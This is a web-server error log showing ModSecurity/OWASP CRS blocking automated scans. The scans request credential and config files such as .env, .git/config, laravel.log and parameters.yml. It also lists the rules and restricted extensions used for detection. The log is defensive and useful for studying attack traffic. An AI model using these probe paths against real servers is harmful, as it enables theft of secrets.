[Wed Jul 23 13:39:29.476517 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74gAAAAI&quot;]
[Wed Jul 23 13:39:29.476708 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74gAAAAI&quot;]
[Wed Jul 23 13:39:29.499770 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74wAAAAI&quot;]
[Wed Jul 23 13:39:29.499995 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74wAAAAI&quot;]
[Wed Jul 23 13:39:29.500161 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY74wAAAAI&quot;]
[Wed Jul 23 13:39:29.522943 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY75AAAAAI&quot;]
[Wed Jul 23 13:39:29.523143 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY75AAAAAI&quot;]
[Wed Jul 23 13:39:29.523301 2025] [:error] [pid 1389898] [client 185.177.72.107:60112] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aIDJ8aI4lOREpDwv3HY75AAAAAI&quot;]
[Wed Jul 23 13:39:38.832236 2025] [:error] [pid 1389900] [client 185.177.72.107:14122] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIDJ-m6wfjR6tSMvn7_OkwAAAAQ&quot;]
[Wed Jul 23 13:39:38.832656 2025] [:error] [pid 1389900] [client 185.177.72.107:14122] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIDJ-m6wfjR6tSMvn7_OkwAAAAQ&quot;]
[Wed Jul 23 13:39:38.832897 2025] [:error] [pid 1389900] [client 185.177.72.107:14122] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aIDJ-m6wfjR6tSMvn7_OkwAAAAQ&quot;]
[Wed Jul 23 13:39:59.952051 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIDKDyi7MZQTXQmUV0d2BAAAAAY&quot;]
[Wed Jul 23 13:39:59.952264 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIDKDyi7MZQTXQmUV0d2BAAAAAY&quot;]
[Wed Jul 23 13:39:59.952429 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIDKDyi7MZQTXQmUV0d2BAAAAAY&quot;]
[Wed Jul 23 13:40:00.007618 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aIDKECi7MZQTXQmUV0d2BQAAAAY&quot;]
[Wed Jul 23 13:40:00.007867 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aIDKECi7MZQTXQmUV0d2BQAAAAY&quot;]
[Wed Jul 23 13:40:00.008066 2025] [:error] [pid 1392107] [client 185.177.72.107:31760] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aIDKECi7MZQTXQmUV0d2BQAAAAY&quot;]
[Wed Jul 23 13:40:01.859943 2025] [:error] [pid 1395506] [client 185.177.72.107:56574] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIDKEcGMhSA7EKYAZ2JxTwAAAAs&quot;]
[Wed Jul 23 13:40:01.860189 2025] [:error] [pid 1395506] [client 185.177.72.107:56574] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIDKEcGMhSA7EKYAZ2JxTwAAAAs&quot;]
[Wed Jul 23 13:40:01.860387 2025] [:error] [pid 1395506] [client 185.177.72.107:56574] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIDKEcGMhSA7EKYAZ2JxTwAAAAs&quot;]
[Thu Jul 24 04:36:31.917040 2025] [:error] [pid 1416196] [client 185.177.72.144:59192] [client 185.177.72.144] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIGcL7TTPKPsRv01yUGhlwAAAAI&quot;]
[Thu Jul 24 04:36:31.917335 2025] [:error] [pid 1416196] [client 185.177.72.144:59192] [client 185.177.72.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIGcL7TTPKPsRv01yUGhlwAAAAI&quot;]
[Thu Jul 24 04:36:31.917535 2025] [:error] [pid 1416196] [client 185.177.72.144:59192] [client 185.177.72.144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIGcL7TTPKPsRv01yUGhlwAAAAI&quot;]
[Thu Jul 24 15:34:46.660432 2025] [:error] [pid 1429169] [client 213.209.143.116:59350] [client 213.209.143.116] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aII2dpMIg7ZTbrgLD_jmFAAAAA8&quot;]
[Thu Jul 24 15:34:46.660691 2025] [:error] [pid 1429169] [client 213.209.143.116:59350] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aII2dpMIg7ZTbrgLD_jmFAAAAA8&quot;]
[Thu Jul 24 15:34:46.660887 2025] [:error] [pid 1429169] [client 213.209.143.116:59350] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aII2dpMIg7ZTbrgLD_jmFAAAAA8&quot;]
[Fri Jul 25 18:48:10.428984 2025] [:error] [pid 1444229] [client 216.81.248.58:40536] [client 216.81.248.58] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIO1StwH1Tp7Jag_hneLfQAAACE&quot;]
[Fri Jul 25 18:48:10.429313 2025] [:error] [pid 1444229] [client 216.81.248.58:40536] [client 216.81.248.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIO1StwH1Tp7Jag_hneLfQAAACE&quot;]
[Fri Jul 25 18:48:10.429492 2025] [:error] [pid 1444229] [client 216.81.248.58:40536] [client 216.81.248.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIO1StwH1Tp7Jag_hneLfQAAACE&quot;]
[Sat Jul 26 04:31:17.101643 2025] [:error] [pid 1466106] [client 77.90.153.170:60792] [client 77.90.153.170] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIQ99b52y2Aq_fSyNbMETwAAAAE&quot;]
[Sat Jul 26 04:31:17.103225 2025] [:error] [pid 1466106] [client 77.90.153.170:60792] [client 77.90.153.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIQ99b52y2Aq_fSyNbMETwAAAAE&quot;]
[Sat Jul 26 04:31:17.103399 2025] [:error] [pid 1466106] [client 77.90.153.170:60792] [client 77.90.153.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aIQ99b52y2Aq_fSyNbMETwAAAAE&quot;]
[Sat Jul 26 06:01:15.594012 2025] [:error] [pid 1466140] [client 213.209.143.116:45810] [client 213.209.143.116] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag 